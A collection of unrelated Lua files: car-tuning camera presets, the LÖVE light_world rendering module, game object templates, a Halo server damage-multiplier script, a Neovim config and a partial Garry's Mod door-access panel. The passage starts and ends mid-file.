-- Передние фары
cameraPresets.frontLights = {
targetPosition = Vector3(0, 1, -0.1),
rotationHorizontal = 0,
rotationVertical = 10,
distance = 5,
FOV = 40,
roll = 0
}
-- Передние фары при покупке
cameraPresets.previewFrontLights = {
targetPosition = Vector3(0.7, 1, 0.2),
rotationHorizontal = 0,
rotationVertical = 10,
distance = 6,
FOV = 45,
roll = 0
}
----------------------------------------------------------
-- Подвеска
cameraPresets.suspension = {
targetPosition = Vector3(0, 0, -0.3),
rotationHorizontal = 50,
rotationVertical = 0,
distance = 6,
FOV = 55,
roll = 0
}
cameraPresets.previewSuspension = {
targetPosition = Vector3(-0.2, -1.7, -0.3),
rotationHorizontal = 40,
rotationVertical = 0,
distance = 7,
FOV = 60,
roll = 0
}
----------------------------------------------------------
-- Улучешния
cameraPresets.upgrades = {
targetPosition = Vector3(0, 0.2, -0.1),
rotationHorizontal = 30,
rotationVertical = 0,
distance = 7,
FOV = 50,
roll = 0
}
cameraPresets.previewUpgrades = {
targetPosition = Vector3(0, 0, -0.1),
rotationHorizontal = 20,
rotationVertical = 0,
distance = 6.8,
FOV = 50,
roll = 0
}
----------------------------------------------------------
-- Оффсет передних колёс
cameraPresets.wheelsOffsetFront = {
targetPosition = "wheel_lf_dummy",
rotationHorizontal = 30,
rotationVertical = 20,
distance = 4,
FOV = 40,
roll = 0
}
----------------------------------------------------------
-- Оффсет задних колёс
cameraPresets.wheelsOffsetRear = {
targetPosition = "wheel_lb_dummy",
rotationHorizontal = 30,
rotationVertical = 20,
distance = 4,
FOV = 40,
roll = 0
}
------------------------------------------------------
-- Номерной знак
cameraPresets.numberplate = {
targetPosition = Vector3(0, 1, -0.2),
rotationHorizontal = 0,
rotationVertical = 0,
distance = 4,
FOV = 50,
roll = 0
}
-- Номерной знак при покупке
cameraPresets.previewNumberplate = {
targetPosition = Vector3(0, 1, -0.2),
rotationHorizontal = 0,
rotationVertical = 0,
distance = 4,
FOV = 30,
roll = 0
}
----------------------------------------------------------
----------------------------------------------------------
-- ЦВЕТА
----------------------------------------------------------
----------------------------------------------------------
cameraPresets.bodyColor = {
targetPosition = Vector3(0, 1, 0),
rotationHorizontal = -30,
rotationVertical = 10,
distance = 6,
FOV = 50,
roll = 0
}
cameraPresets.selectingBodyColor = {
targetPosition = Vector3(1, 1, 0.4),
rotationHorizontal = -20,
rotationVertical = 5,
distance = 6,
FOV = 50,
roll = 0
}
----------------------------------------------------------
cameraPresets.selectingWheelsColorF = {
targetPosition = Vector3(-1, 0, -0.05),
rotationHorizontal = 35,
rotationVertical = 5,
distance = 5,
FOV = 50,
roll = 0
}
cameraPresets.selectingWheelsColorR = {
targetPosition = Vector3(-1, -2, -0.05),
rotationHorizontal = 35,
rotationVertical = 5,
distance = 5,
FOV = 50,
roll = 0
}
----------------------------------------------------------
cameraPresets.selectingSpoilerColor = {
targetPosition = Vector3(0.6, -1, 0.4),
rotationHorizontal = 200,
rotationVertical = 10,
distance = 5.5,
FOV = 50,
roll = 0
}
----------------------------------------------------------
----------------------------------------------------------
-- НАКЛЕЙКИ (СТОРОНЫ)
----------------------------------------------------------
----------------------------------------------------------
cameraPresets.sideFront = {
targetPosition = Vector3(0, 1, 0),
rotationHorizontal = 0,
rotationVertical = 30,
distance = 6,
FOV = 50,
roll = 0
}
cameraPresets.sideLeft = {
targetPosition = Vector3(0, 0, 0),
rotationHorizontal = 90,
rotationVertical = 5,
distance = 7,
FOV = 50,
roll = 0
}
cameraPresets.sideBack = {
targetPosition = Vector3(0, -1, 0),
rotationHorizontal = 180,
rotationVertical = 30,
distance = 6,
FOV = 50,
roll = 0
}
cameraPresets.sideRight = {
targetPosition = Vector3(0, 0, 0),
rotationHorizontal = 270,
rotationVertical = 5,
distance = 7,
FOV = 50,
roll = 0
}
cameraPresets.sideTop = {
targetPosition = Vector3(0, -0.5, 0),
rotationHorizontal = 0,
rotationVertical = 70,
distance = 5.5,
FOV = 50,
roll = 0
}
|
--[[
The MIT License (MIT)
Copyright (c) 2014 Marcus Ihde, Tim Anema
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
]]
local _PACKAGE = string.gsub(...,"%.","/") or ""
if string.len(_PACKAGE) > 0 then _PACKAGE = _PACKAGE .. "/" end
local Light = require(_PACKAGE..'light')
local Body = require(_PACKAGE..'body')
local util = require(_PACKAGE..'util')
local PostShader = require(_PACKAGE..'postshader')
local light_world = {}
light_world.__index = light_world
light_world.image_mask = love.graphics.newShader(_PACKAGE.."/shaders/image_mask.glsl")
light_world.shadowShader = love.graphics.newShader(_PACKAGE.."/shaders/shadow.glsl")
light_world.refractionShader = love.graphics.newShader(_PACKAGE.."shaders/refraction.glsl")
light_world.reflectionShader = love.graphics.newShader(_PACKAGE.."shaders/reflection.glsl")
local function new(options)
local obj = {}
obj.lights = {}
obj.bodies = {}
obj.post_shader = PostShader()
obj.l, obj.t, obj.s = 0, 0, 1
obj.ambient = {0, 0, 0}
obj.refractionStrength = 8.0
obj.reflectionStrength = 16.0
obj.reflectionVisibility = 1.0
obj.shadowBlur = 2.0
obj.glowBlur = 1.0
obj.glowTimer = 0.0
obj.glowDown = false
obj.disableGlow = false
obj.disableMaterial = false
obj.disableReflection = true
obj.disableRefraction = true
options = options or {}
for k, v in pairs(options) do obj[k] = v end
local world = setmetatable(obj, light_world)
world:refreshScreenSize()
return world
end
function light_world:refreshScreenSize(w, h)
w, h = w or love.graphics.getWidth(), h or love.graphics.getHeight()
self.w, self.h = w, h
self.render_buffer = love.graphics.newCanvas(w, h)
self.shadow_buffer = love.graphics.newCanvas(w, h)
self.normalMap = love.graphics.newCanvas(w, h)
self.shadowMap = love.graphics.newCanvas(w, h)
self.glowMap = love.graphics.newCanvas(w, h)
self.refractionMap = love.graphics.newCanvas(w, h)
self.reflectionMap = love.graphics.newCanvas(w, h)
self.post_shader:refreshScreenSize(w, h)
end
function light_world:update(dt)
for i = 1, #self.bodies do
self.bodies[i].is_on_screen = self.bodies[i]:inRange(-self.l,-self.t,self.w,self.h,self.s)
if self.bodies[i]:isVisible() then
self.bodies[i]:update(dt)
end
end
for i = 1, #self.lights do
self.lights[i].is_on_screen = self.lights[i]:inRange(self.l,self.t,self.w,self.h,self.s)
end
end
function light_world:draw(cb)
util.drawto(self.render_buffer, self.l, self.t, self.s, function()
cb( self.l,self.t,self.w,self.h,self.s)
_ = self.disableMaterial or self:drawMaterial( self.l,self.t,self.w,self.h,self.s)
self:drawShadows( self.l,self.t,self.w,self.h,self.s)
_ = self.disableGlow or self:drawGlow( self.l,self.t,self.w,self.h,self.s)
_ = self.disableRefraction or self:drawRefraction( self.l,self.t,self.w,self.h,self.s)
_ = self.disableReflection or self:drawReflection( self.l,self.t,self.w,self.h,self.s)
end)
self.post_shader:drawWith(self.render_buffer, self.l, self.t, self.s)
end
-- draw normal shading
function light_world:drawShadows(l,t,w,h,s)
love.graphics.setCanvas( self.normalMap )
love.graphics.clear()
love.graphics.setCanvas()
util.drawto(self.normalMap, l, t, s, function()
for i = 1, #self.bodies do
if self.bodies[i]:isVisible() then
self.bodies[i]:drawNormal()
end
end
end)
self.shadowShader:send('normalMap', self.normalMap)
self.shadowShader:send("invert_normal", self.normalInvert == true)
love.graphics.setCanvas( self.shadow_buffer )
love.graphics.clear()
love.graphics.setCanvas()
for i = 1, #self.lights do
local light = self.lights[i]
if light:isVisible() then
-- create shadow map for this light
love.graphics.setCanvas( self.shadowMap )
love.graphics.clear()
love.graphics.setCanvas()
util.drawto(self.shadowMap, l, t, s, function()
--I dont know if it uses both or just calls both
love.graphics.stencil(function()
local angle = light.direction - (light.angle / 2.0)
love.graphics.arc("fill", light.x, light.y, light.range, angle, angle + light.angle)
end)
love.graphics.setStencilTest("greater",0)
love.graphics.stencil(function()
love.graphics.setShader(self.image_mask)
for k = 1, #self.bodies do
if self.bodies[k]:inLightRange(light) and self.bodies[k]:isVisible() then
self.bodies[k]:drawStencil()
end
end
love.graphics.setShader()
end)
love.graphics.setStencilTest("equal", 0)
for k = 1, #self.bodies do
if self.bodies[k]:inLightRange(light) and self.bodies[k]:isVisible() then
self.bodies[k]:drawShadow(light)
end
end
end)
-- draw scene for this light using normals and shadowmap
self.shadowShader:send('lightColor', {light.red / 255.0, light.green / 255.0, light.blue / 255.0})
self.shadowShader:send("lightPosition", {(light.x + l/s) * s, (light.y + t/s) * s, (light.z * 10) / 255.0})
self.shadowShader:send('lightRange',{light.range * s})
self.shadowShader:send("lightSmooth", light.smooth)
self.shadowShader:send("lightGlow", {1.0 - light.glowSize, light.glowStrength})
util.drawCanvasToCanvas(self.shadowMap, self.shadow_buffer, {
blendmode = 'add',
shader = self.shadowShader,
stencil = function()
local angle = light.direction - (light.angle / 2.0)
love.graphics.arc("fill", (light.x + l/s) * s, (light.y + t/s) * s, light.range, angle, angle + light.angle)
end
})
end
end
-- add in ambient color
util.drawto(self.shadow_buffer, l, t, s, function()
love.graphics.setBlendMode("add")
love.graphics.setColor({self.ambient[1], self.ambient[2], self.ambient[3]})
love.graphics.rectangle("fill", -l/s, -t/s, w/s,h/s)
end)
self.post_shader:drawBlur(self.shadow_buffer, {self.shadowBlur})
util.drawCanvasToCanvas(self.shadow_buffer, self.render_buffer, {blendmode = "multiply"})
love.graphics.setStencilTest()
end
-- draw material
function light_world:drawMaterial(l,t,w,h,s)
for i = 1, #self.bodies do
if self.bodies[i]:isVisible() then
self.bodies[i]:drawMaterial()
end
end
end
-- draw glow
function light_world:drawGlow(l,t,w,h,s)
if self.glowDown then
self.glowTimer = math.max(0.0, self.glowTimer - love.timer.getDelta())
else
self.glowTimer = math.min(self.glowTimer + love.timer.getDelta(), 1.0)
end
if self.glowTimer == 1.0 or self.glowTimer == 0.0 then
self.glowDown = not self.glowDown
end
local has_glow = false
-- create glow map
love.graphics.setCanvas( self.glowMap )
love.graphics.clear()
love.graphics.setCanvas()
util.drawto(self.glowMap, l, t, s, function()
for i = 1, #self.bodies do
if self.bodies[i]:isVisible() and self.bodies[i].glowStrength > 0.0 then
has_glow = true
self.bodies[i]:drawGlow()
end
end
end)
if has_glow then
self.post_shader:drawBlur(self.glowMap, {self.glowBlur})
util.drawCanvasToCanvas(self.glowMap, self.render_buffer, {blendmode = "add"})
end
end
-- draw refraction
function light_world:drawRefraction(l,t,w,h,s)
-- create refraction map
love.graphics.setCanvas( self.refractionMap )
love.graphics.clear()
love.graphics.setCanvas()
util.drawto(self.refractionMap, l, t, s, function()
for i = 1, #self.bodies do
if self.bodies[i]:isVisible() then
self.bodies[i]:drawRefraction()
end
end
end)
self.refractionShader:send("backBuffer", self.render_buffer)
self.refractionShader:send("refractionStrength", self.refractionStrength)
util.drawCanvasToCanvas(self.refractionMap, self.render_buffer, {shader = self.refractionShader})
end
-- draw reflection
function light_world:drawReflection(l,t,w,h,s)
-- create reflection map
love.graphics.setCanvas( self.reflectionMap )
love.graphics.clear()
love.graphics.setCanvas()
util.drawto(self.reflectionMap, l, t, s, function()
for i = 1, #self.bodies do
if self.bodies[i]:isVisible() then
self.bodies[i]:drawReflection()
end
end
end)
self.reflectionShader:send("backBuffer", self.render_buffer)
self.reflectionShader:send("reflectionStrength", self.reflectionStrength)
self.reflectionShader:send("reflectionVisibility", self.reflectionVisibility)
util.drawCanvasToCanvas(self.reflectionMap, self.render_buffer, {shader = self.reflectionShader})
end
-- new light
function light_world:newLight(x, y, red, green, blue, range)
self.lights[#self.lights + 1] = Light(x, y, red, green, blue, range)
return self.lights[#self.lights]
end
function light_world:clear()
light_world:clearLights()
light_world:clearBodies()
end
function light_world:setTranslation(l, t, s)
self.l, self.t, self.s = l or self.l, t or self.t, s or self.s
end
function light_world:setScale(s) self.s = s end
function light_world:clearLights() self.lights = {} end
function light_world:clearBodies() self.bodies = {} end
function light_world:setAmbientColor(red, green, blue) self.ambient = {red, green, blue} end
function light_world:setShadowBlur(blur) self.shadowBlur = blur end
function light_world:setGlowStrength(strength) self.glowBlur = strength end
function light_world:setRefractionStrength(strength) self.refractionStrength = strength end
function light_world:setReflectionStrength(strength) self.reflectionStrength = strength end
function light_world:setReflectionVisibility(visibility) self.reflectionVisibility = visibility end
function light_world:getBodyCount() return #self.bodies end
function light_world:getBody(n) return self.bodies[n] end
function light_world:getLightCount() return #self.lights end
function light_world:getLight(n) return self.lights[n] end
function light_world:newRectangle(...) return self:newBody("rectangle", ...) end
function light_world:newAnimationGrid(...) return self:newBody("animation", ...) end
function light_world:newCircle(...) return self:newBody("circle", ...) end
function light_world:newPolygon(...) return self:newBody("polygon", ...) end
function light_world:newImage(...) return self:newBody("image", ...) end
function light_world:newRefraction(...)
self.disableRefraction = false
return self:newBody("refraction", ...)
end
function light_world:newReflection(normal, ...)
self.disableReflection = false
return self:newBody("reflection", ...)
end
-- new body
function light_world:newBody(type, ...)
local id = #self.bodies + 1
self.bodies[id] = Body(id, type, ...)
return self.bodies[#self.bodies]
end
function light_world:is_body(target)
return target.type ~= nil
end
function light_world:is_light(target)
return target.angle ~= nil
end
function light_world:remove(to_kill)
if self:is_body(to_kill) then
for i = 1, #self.bodies do
if self.bodies[i] == to_kill then
table.remove(self.bodies, i)
return true
end
end
elseif self:is_light(to_kill) then
for i = 1, #self.lights do
if self.lights[i] == to_kill then
table.remove(self.lights, i)
return true
end
end
end
-- failed to find it
return false
end
return setmetatable({new = new}, {__call = function(_, ...) return new(...) end})
|
object_static_item_item_hoth_cable_floor_04 = object_static_item_shared_item_hoth_cable_floor_04:new {
}
ObjectTemplates:addTemplate(object_static_item_item_hoth_cable_floor_04, "object/static/item/item_hoth_cable_floor_04.iff")
|
--[[
--=====================================================================================================--
Script Name: Damage Multiplier (changer), for SAPP (PC & CE)
Copyright (c) 2019, Jericho Crosby <jericho.crosby227@gmail.com>
* Notice: You can use this document subject to the following conditions:
https://github.com/Chalwk77/Halo-Scripts-Phasor-V2-/blob/master/LICENSE
* Written by Jericho Crosby (Chalwk)
--=====================================================================================================--
]]--
api_version = "1.12.0.0"
local multipliers = {
-- TAG NAME | MULTIPLIER (0-9999) - 1 = normal damage
-- STOCK TAGS --
melee = {
{ "weapons\\assault rifle\\melee", 4 },
{ "weapons\\ball\\melee", 4 },
{ "weapons\\flag\\melee", 4 },
{ "weapons\\flamethrower\\melee", 4 },
{ "weapons\\needler\\melee", 4 },
{ "weapons\\pistol\\melee", 1 },
{ "weapons\\plasma pistol\\melee", 4 },
{ "weapons\\plasma rifle\\melee", 3 },
{ "weapons\\rocket launcher\\melee", 1 },
{ "weapons\\shotgun\\melee", 2 },
{ "weapons\\sniper rifle\\melee", 2 },
{ "weapons\\plasma_cannon\\effects\\plasma_cannon_melee", 2 },
},
grenades = {
{ "weapons\\frag grenade\\explosion", 2 },
{ "weapons\\plasma grenade\\explosion", 2 },
{ "weapons\\plasma grenade\\attached", 10 },
},
vehicles = {
{ "vehicles\\ghost\\ghost bolt", 1.015 },
{ "vehicles\\scorpion\\bullet", 1.020 },
{ "vehicles\\warthog\\bullet", 1.025 },
{ "vehicles\\c gun turret\\mp bolt", 1.030 },
{ "vehicles\\banshee\\banshee bolt", 1.035 },
{ "vehicles\\scorpion\\shell explosion", 1.040 },
{ "vehicles\\banshee\\mp_fuel rod explosion", 1.045 },
},
projectiles = {
{ "weapons\\pistol\\bullet", 1.00 },
{ "weapons\\plasma rifle\\bolt", 1.50 },
{ "weapons\\shotgun\\pellet", 1.20 },
{ "weapons\\plasma pistol\\bolt", 1.50 },
{ "weapons\\needler\\explosion", 2.00 },
{ "weapons\\assault rifle\\bullet", 2.00 },
{ "weapons\\needler\\impact damage", 1.10 },
{ "weapons\\flamethrower\\explosion", 2.00 },
{ "weapons\\sniper rifle\\sniper bullet", 4.00 },
{ "weapons\\rocket launcher\\explosion", 5.00 },
{ "weapons\\needler\\detonation damage", 2.00 },
{ "weapons\\plasma rifle\\charged bolt", 3.00 },
{ "weapons\\plasma_cannon\\effects\\plasma_cannon_melee", 2.50 },
{ "weapons\\plasma_cannon\\effects\\plasma_cannon_explosion", 2.50 },
},
vehicle_collision = {
{ "globals\\vehicle_collision", 1 },
},
fall_damage = {
{ "globals\\falling", 1 },
{ "globals\\distance", 1 },
},
}
function OnScriptLoad()
register_callback(cb["EVENT_DAMAGE_APPLICATION"], "OnDamageApplication")
end
function OnDamageApplication(PlayerIndex, CauserIndex, MetaID, Damage, HitString, Backtap)
if (tonumber(CauserIndex) > 0 and PlayerIndex ~= CauserIndex) then
for Table, _ in pairs(multipliers) do
for _, Tag in pairs(multipliers[Table]) do
if Tag[1] then
if (MetaID == GetTag("jpt!", Tag[1])) then
return true, Damage * Tag[2]
end
end
end
end
end
end
function GetTag(obj_type, obj_name)
local tag = lookup_tag(obj_type, obj_name)
return tag ~= 0 and read_dword(tag + 0xC) or nil
end
|
-- vim:foldmethod=marker:
-- Use sh.
-- It is faster
vim.o.shell = 'sh'
-- コマンドラインの履歴を10000件保存する
vim.o.history = 10000
-- マウスを有効化
vim.o.mouse = 'a'
-- Clipboard
vim.o.clipboard = 'unnamedplus'
-- Open Vim internal help by K command
vim.o.keywordprg = ':help'
-- 行頭行末の左右移動で行をまたぐ
vim.o.whichwrap = 'b,s,h,l,<,>,[,]'
-- Toggle paste
vim.o.pastetoggle = '<F2>'
-- grep {{{
if vim.fn.executable('rg') == 1 then
-- Use rg (ripgrep)
vim.o.grepprg = 'rg --no-heading --vimgrep'
vim.o.grepformat = '%f:%l:%c:%m'
elseif vim.fn.executable('ag') == 1 then
-- Use ag (The Silver Searcher)
vim.o.grepprg = 'ag --vimgrep'
vim.o.grepformat = '%f:%l:%c:%m'
end
-- }}}
-- 検索/置換 {{{
-- 大文字と小文字を区別しない
vim.o.ignorecase = true
-- 大文字と小文字が混在してる場合は区別する
vim.o.smartcase = true
-- 最後尾まで検索を終えたら次の検索で先頭に移る
vim.o.wrapscan = true
-- 置換時 g オプションをデフォルトで有効にする
vim.o.gdefault = true
-- 置換時 プレビュー表示
vim.o.inccommand = 'nosplit'
-- }}}
-- タブ/インデント {{{
-- Tabキー押下時のカーソル移動幅
vim.bo.softtabstop = 4
-- タブ入力を複数の空白入力に置き換えない
vim.bo.expandtab = false
-- 画面上でタブ文字が占める幅
vim.bo.tabstop = 4
-- smartindentでずれる幅
vim.bo.shiftwidth = 4
-- 改行時に前の行の構文をチェックし次の行のインデントを増減する
vim.bo.smartindent = true
-- }}}
-- ファイル処理関連 {{{
-- 保存されていないファイルがあるときは終了前に保存確認
vim.o.confirm = true
-- 保存されていないファイルがあるときでも別のファイルを開くことが出来る
vim.o.hidden = true
-- ファイル保存時にバックアップファイルを作らない
vim.o.backup = false
-- Swap
vim.o.swapfile = false
-- ファイル文末の改行を勝手に変更しない
if vim.fn.exists('+fixeol') == 1 then
vim.o.fixendofline = false
end
-- }}}
-- View {{{
-- 背景を黒ベースに
vim.o.background = 'dark'
-- 行番号を表示する
vim.wo.number = true
-- 行を折り返さない
vim.o.wrap = false
-- 行番号を相対的に表示
-- Insert モードのみ絶対番号
vim.cmd('augroup numbertoggle')
vim.cmd('autocmd!')
vim.cmd('autocmd BufEnter,FocusGained,InsertLeave,WinEnter * if &nu | set rnu | endif')
vim.cmd('autocmd BufLeave,FocusLost,InsertEnter,WinLeave * if &nu | set nornu | endif')
vim.cmd('augroup END')
-- 2バイト文字を描画する
if vim.env.TERM_PROGRAM == "Apple_Terminal" then
vim.o.ambiwidth = 'double'
end
-- メッセージ表示欄を1行確保
vim.o.cmdheight = 1
-- 不可視文字を表示
vim.wo.list = true
vim.o.listchars = 'tab:¦ ,trail:・'
-- Enable true color
if vim.fn.exists('+termguicolors') == 1 and vim.env.TERM_PROGRAM ~= "Apple_Terminal" then
vim.o.termguicolors = true
end
-- エディタの分割方向を設定する
vim.o.splitbelow = true
vim.o.splitright = true
-- 折りたたみ
vim.wo.foldcolumn = 'auto:3'
vim.wo.foldlevel = 1
vim.wo.foldmethod = 'marker'
--vim.wo.foldmethod = 'expr'
-- 半透明 ウィンドウ
vim.o.pumblend = 10
vim.o.winblend = 30
-- }}}
-- カーソル {{{
-- カーソル位置のカラムの背景色を変える
vim.wo.cursorcolumn = true
-- カーソル行の背景色を変える
vim.wo.cursorline = true
-- カーソルの形状を変える
vim.o.guicursor = 'n-v-c:block-Cursor/lCursor-blinkon0,i-ci:ver25-Cursor/lCursor,r-cr:hor20-Cursor/lCursor'
-- }}}
|
object_draft_schematic_weapon_lightsaber_polearm_gen1 = object_draft_schematic_weapon_shared_lightsaber_polearm_gen1:new {
}
ObjectTemplates:addTemplate(object_draft_schematic_weapon_lightsaber_polearm_gen1, "object/draft_schematic/weapon/lightsaber_polearm_gen1.iff")
|
--[[
Name: "cl_door.lua".
Product: "kuroScript".
--]]
local PANEL = {};
-- Called when the panel is initialized.
function PANEL:Init()
self:SetTitle( kuroScript.door.GetName() );
self:SetBackgroundBlur(true);
self:SetDeleteOnClose(false);
-- Called when the button is clicked.
function self.btnClose.DoClick(button)
self:Close(); self:Remove();
-- Disable the screen clicker.
gui.EnableScreenClicker(false);
end;
-- Set some information.
self.settingsPanel = vgui.Create("DPanelList");
self.settingsPanel:SetPadding(2);
self.settingsPanel:SetSpacing(3);
self.settingsPanel:SizeToContents();
self.settingsPanel:EnableVerticalScrollbar();
-- Set some information.
self.playersPanel = vgui.Create("DPanelList");
self.playersPanel:SetPadding(2);
self.playersPanel:SetSpacing(3);
self.playersPanel:SizeToContents();
self.playersPanel:EnableVerticalScrollbar();
-- Set some information.
self.settingsForm = vgui.Create("DForm");
self.settingsForm:SetPadding(4);
self.settingsForm:SetName("Settings");
-- Add an item to the panel list.
self.settingsPanel:AddItem(self.settingsForm);
-- Set some information.
self.textEntry = self.settingsForm:TextEntry("Text");
-- Called when enter has been pressed.
function self.textEntry.OnEnter(textEntry)
datastream.StreamToServer( "ks_Door", { kuroScript.door.GetEntity(), "Text", textEntry:GetValue() } );
end;
-- Check if a statement is true.
if (kuroScript.door.GetOwner() == g_LocalPlayer) then
if ( !kuroScript.door.IsUnsellable() ) then
local button = self.settingsForm:Button("Sell");
local doorCost = kuroScript.config.Get("door_cost"):Get();
-- Called when the button is clicked.
function button.DoClick(button)
if (doorCost > 0) then
Derma_Query("Are you sure that you want to sell this door?", "Sell Door", "Yes", function()
datastream.StreamToServer( "ks_Door", {kuroScript.door.GetEntity(), "Sell"} );
-- Enable the screen clicker.
gui.EnableScreenClicker(false);
-- Close and remove the panel.
self:Close(); self:Remove();
end, "No", function()
gui.EnableScreenClicker(false);
end);
else
Derma_Query("Are you sure that you want to unown this door?", "Unown Door", "Yes", function()
datastream.StreamToServer( "ks_Door", {kuroScript.door.GetEntity(), "Sell"} );
-- Enable the screen clicker.
gui.EnableScreenClicker(false);
-- Close and remove the panel.
self:Close(); self:Remove();
end, "No", function()
gui.EnableScreenClicker(false);
end);
end;
-- Enable the screen clicker.
gui.EnableScreenClicker(true);
end;
end;
end;
-- Set some information.
self.propertySheet = vgui.Create("DPropertySheet", self);
self.propertySheet:AddSheet("Players", self.playersPanel, "gui/silkicons/user", nil, nil, "View players with or without access to this door.");
self.propertySheet:AddSheet("Settings", self.settingsPanel, "gui/silkicons/wrench", nil, nil, "View this door's settings.");
end;
-- A function to rebuild the panel.
function PANEL:Rebuild()
self.playersPanel:Clear();
-- Set some information.
local accessList = kuroScript.door.GetAccessList();
local categories = {};
local owner = kuroScript.door.GetOwner();
local door = kuroScript.door.GetEntity();
local k2, v2;
local k, v;
-- Loop through each value in a table.
for k, v in pairs( g_Player.GetAll() ) do
if ( v:HasInitialized() ) then
if (g_LocalPlayer != v and owner != v) then
local access = accessList[v] or false;
-- Check if a statement is true.
if ( hook.Call("PlayerShouldShowOnDoorAccessList", kuroScript.frame, v, door, owner) ) then
local name = hook.Call("GetPlayerDoorAccessName", kuroScript.frame, v, door, owner);
local index;
-- Check if a statement is true.
if (access == DOOR_ACCESS_COMPLETE) then
index = 1;
elseif (access == DOOR_ACCESS_BASIC) then
index = 2;
else
index = 3;
end;
-- Check if a statement is true.
if ( !categories[index] ) then
categories[index] = {};
end;
-- Set some information.
categories[index][#categories[index] + 1] = {v, name};
end;
end;
end;
end;
-- Check if a statement is true.
if (table.Count(categories) > 0) then
for k, v in pairs(categories) do
local collapsibleCategory = vgui.Create("DCollapsibleCategory", self.playersPanel);
local panelList = vgui.Create("DPanelList", self.playersPanel);
-- Add an item to the panel list.
self.playersPanel:AddItem(collapsibleCategory);
-- Sort the items.
table.sort(v, function(a, b)
return a[2] < b[2];
end);
-- Loop through each value in a table.
for k2, v2 in pairs(v) do
local button = vgui.Create("DButton", self.playersPanel);
local access = false;
local player = v2[1];
-- Check if a statement is true.
if (k == 1) then
access = DOOR_ACCESS_COMPLETE;
elseif (k == 2) then
access = DOOR_ACCESS_BASIC;
end;
-- Called when the button is clicked.
function button.DoClick(button)
local options;
-- Check if a statement is true.
if (access == DOOR_ACCESS_COMPLETE) then
options = {
["Take Complete Access"] = function()
datastream.StreamToServer( "ks_Door", {door, "Access", player, access} );
end
};
elseif (access == DOOR_ACCESS_BASIC) then
options = {
["Take Basic Access"] = function()
datastream.StreamToServer( "ks_Door", {door, "Access", player, access} );
end,
["Give Complete Access"] = function()
datastream.StreamToServer( "ks_Door", {door, "Access", player, DOOR_ACCESS_COMPLETE} );
end
};
else
options = {
["Give Basic Access"] = function()
datastream.StreamToServer( "ks_Door", {door, "Access", player, DOOR_ACCESS_BASIC} );
end,
["Give Complete Access"] = function()
datastream.StreamToServer( "ks_Door", {door, "Access", player, DOOR_ACCESS_COMPLETE} );
end
};
end;
-- Check if a statement is true.
if (options) then
kuroScript.frame:AddMenuFromData(nil, options);
end;
end;
-- Set some information.
button:SetText( v2[2] );
-- Add an item to the panel list.
panelList:AddItem(button);
end;
-- Set some information.
panelList:SetAutoSize(true);
panelList:SetPadding(4);
panelList:SetSpacing(4);
-- Set some information.
collapsibleCategory:SetPadding(4);
collapsibleCategory:SetContents(panelList);
-- Check if a statement is true.
if (k == 1) then
collapsibleCategory:SetLabel("Complete Access");
collapsibleCategory:SetCookieName("ks_Door_Complete");
elseif (k == 2) then
collapsibleCategory:SetLabel("Basic Access");
collapsibleCategory:SetCookieName("ks_Door_Basic");
else
collapsibleCategory:SetLabel("Zero Access");
collapsibleCategory:SetCookieName("ks_Door_Zero");
end;
end;
end;
end;
-- Called each frame.
function PANEL:Think()
local entity = kuroScript.door.GetEntity();
local scrW = ScrW();
local scrH = ScrH();
-- Set some information.
self:SetSize(scrW * 0.5, scrH * 0.75);
self:SetPos( (scrW / 2) - (self:GetWide() / 2), (scrH / 2) - (self:GetTall() / 2) );
-- Check if a statement is true.
if (!ValidEntity(entity) or entity:GetPos():Distance( g_LocalPlayer:GetPos() ) > 192) then
self:Close(); self:Remove();
-- Disable the screen clicker.
gui.EnableScreenClicker(false);
end;
end;
-- Called when the layout should be performed.
function PANEL:PerformLayout()
self.playersPanel:StretchToParent(0, 0, 0, 0);
self.settingsPanel:StretchToParent(0, 0, 0, 0);
self.propertySheet:StretchToParent(4, 28, 4, 4);
-- Perform the layour.
DFrame.PerformLayout(self);
end;
-- Register the panel.
vgui.Register("ks_Door", PANEL, "DFrame");
-- Hook a data stream.
datastream.Hook("ks_PurchaseDoor", function(handler, uniqueID, rawData, procData)
local doorCost = kuroScript.config.Get("door_cost"):Get();
-- Check if a sttaement is true.
if (doorCost > 0) then
Derma_Query("Do you want to purchase this door for "..FORMAT_CURRENCY(kuroScript.config.Get("door_cost"):Get(), nil, true).."?", "Purchase Door", "Yes", function()
datastream.StreamToServer( "ks_Door", {procData, "Purchase"} );
-- Enable the screen clicker.
gui.EnableScreenClicker(false);
end, "No", function()
gui.EnableScreenClicker(false);
end);
else
Derma_Query("Do you want to own this door?", "Own Door", "Yes", function()
datastream.StreamToServer( "ks_Door", {procData, "Purchase"} );
-- Enable the screen clicker.
gui.EnableScreenClicker(false);
end, "No", function()
gui.EnableScreenClicker(false);
end);
end;
-- Enable the screen clicker.
gui.EnableScreenClicker(true);
end);
-- Hook a data stream.
datastream.Hook("ks_DoorAccess", function(handler, uniqueID, rawData, procData)
if ( kuroScript.door.GetPanel() ) then
local accessList = kuroScript.door.GetAccessList();
-- Check if a statement is true.
if ( ValidEntity( procData[1] ) ) then
if ( procData[2] ) then
accessList[ procData[1] ] = procData[2];
else
accessList[ procData[1] ] = nil;
end;
-- Rebuild the panel.
kuroScript.door.GetPanel():Rebuild();
end;
end;
end);
-- Hook a data stream.
datastream.Hook("ks_Door", function(handler, uniqueID, rawData, procData)
if ( kuroScript.door.GetPanel() ) then
kuroScript.door.GetPanel():Remove();
end;
-- Enable the screen clicker.
gui.EnableScreenClicker(true);
-- Set some information.
kuroScript.door.unsellable = procData.unsellable;
kuroScript.door.accessList = procData.accessList;
kuroScript.door.entity = procData.entity;
kuroScript.door.owner = procData.owner;
